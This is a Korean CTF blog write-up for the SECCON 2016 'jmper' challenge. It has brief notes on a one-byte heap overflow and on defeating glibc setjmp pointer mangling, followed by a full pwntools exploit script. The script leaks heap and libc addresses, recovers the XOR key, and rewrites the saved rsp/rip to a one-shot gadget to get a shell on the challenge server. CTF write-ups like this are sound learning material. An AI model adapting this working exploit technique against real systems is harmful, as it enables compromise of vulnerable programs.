[*] '/root/pwn/seccon/jmper'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[_]FULL RELRO가 걸려있어서 got를 덮다 프로그램이 죽는바람에 놀랐다
00 : BUF
08 : NUM
10 : NAME
18
20
28 : *MEMO
i = 0; i <= 32; ++i
1byte overflow가 나고 NAME에서 MEMO의 1byte를 조작후 MEMO포인터를 가르키게한뒤 그 포인터를 수정하면 원하는곳에 있는 데이터를 수정 가능하다
MEMO포인터를 변조해 LIBC, _setjmp할때 쓰인 XOR 키값을 빼오고 _setjmp(jmpbuf)할때 저장된 rsp,rip를 변조해서 원샷가젯으로 가게하면 된다
rsp + 0x30 ???인가가 원샷가젯 두번째 인자로 들어가서 그부분이 0을 가르키게 rsp를 조작해야된다
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | from pwn import * elf = "/root/pwn/seccon/jmper" lib64 = "/root/pwn/seccon/libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e" #lib64 = "/lib/x86_64-linux-gnu/libc-2.21.so" #s = process(elf) s = remote('jmper.pwn.seccon.jp',5656) e = ELF(elf) l = ELF(lib64) print s.recvuntil("Bye :)") DEBUG = 1 if DEBUG == 2: context.log_level = 'debug' def ROR(data, shift, size=64): shift %= size body = data >> shift remains = (data << (size - shift)) - (body << size) return (body + remains) def ROL(data, shift, size=64): shift %= size remains = data >> (size - shift) body = (data << shift) - (remains << size ) return (body + remains) def add(): s.sendline("1") print s.recvuntil("Bye :)") def name(id,t): s.sendline("2") print s.recv() s.sendline(str(id)) print s.recv() s.send(t) print s.recvuntil("Bye :)") def memo(id,t): s.sendline("3") print s.recv() s.sendline(str(id)) print s.recv() s.send(t) print s.recvuntil("Bye :)") def v_name(id): s.sendline("4") print s.recv() s.sendline(str(id)) print s.recvuntil("ID:") return s.recv() def v_memo(id): s.sendline("5") print s.recv() s.sendline(str(id)) return s.recvuntil("1.")[:-2] add() memo(0,"A"*0x1f+"B\n") leak_heap = v_memo(0).split("B")[1] leak_heap += "\x00"*(8-len(leak_heap)) leak_heap = u64(leak_heap) print "[*] LEAK HEAP : %x" % leak_heap if leak_heap&0xff < 0x20: print "FAIL" exit() memo( 0, "A"*0x20 + chr( (leak_heap&0xff) - 0x18 ) ) name( 0,p64(e.got['printf'])+"\n") leak_libc = u64(v_name(0)[:6]+"\x00\x00") print "[*] LIBC LEAK : %x" % leak_libc add() memo(1,"A"*0x1f+"B\n") leak_heap = v_memo(1).split("B")[1] leak_heap += "\x00"*(8-len(leak_heap)) leak_heap = u64(leak_heap) print "[*] LEAK HEAP : %x" % leak_heap if leak_heap&0xff < 0x20: print "FAIL" exit() memo( 1, "A"*0x20 + chr( (leak_heap&0xff) - 0x18 ) ) jmper = leak_heap-0x180 ret = jmper+0x30 ori_ret = 0x00400C31 add() # print "PID : %d" % util.proc.pidof(s)[0] # raw_input() name( 1, p64(ret)+"\n" ) leak_ret = u64(v_name(1)[8:16]) xorkey = ROR(leak_ret,0x11) ^ ori_ret oneshot = leak_libc - l.symbols['printf'] + 0x04647C rreett = ROL(oneshot^xorkey,0x11) rsp = ROL((leak_heap+0x400)^xorkey,0x11) print "[*] LEAK JMPER_ADDR : %x" % jmper print "[*] LEAK RET : %x" % leak_ret print "[*] XOR KEY : %x" % xorkey print "[*] change,xor : %x,%x" % (oneshot,rreett) print (p64(rsp)+p64(rreett)).encode('hex') add() name (1,p64(rsp)+p64(rreett)+"\n") s.send("1\n"*27) s.interactive() | cs |
'CTF' 카테고리의 다른 글
codegate 2017 (0) | 2017.02.11 |
---|---|
SECCON_2016 logger (0) | 2016.12.14 |
SECCON_2016 cheer (0) | 2016.12.11 |
SECCON_2016 checker (0) | 2016.12.11 |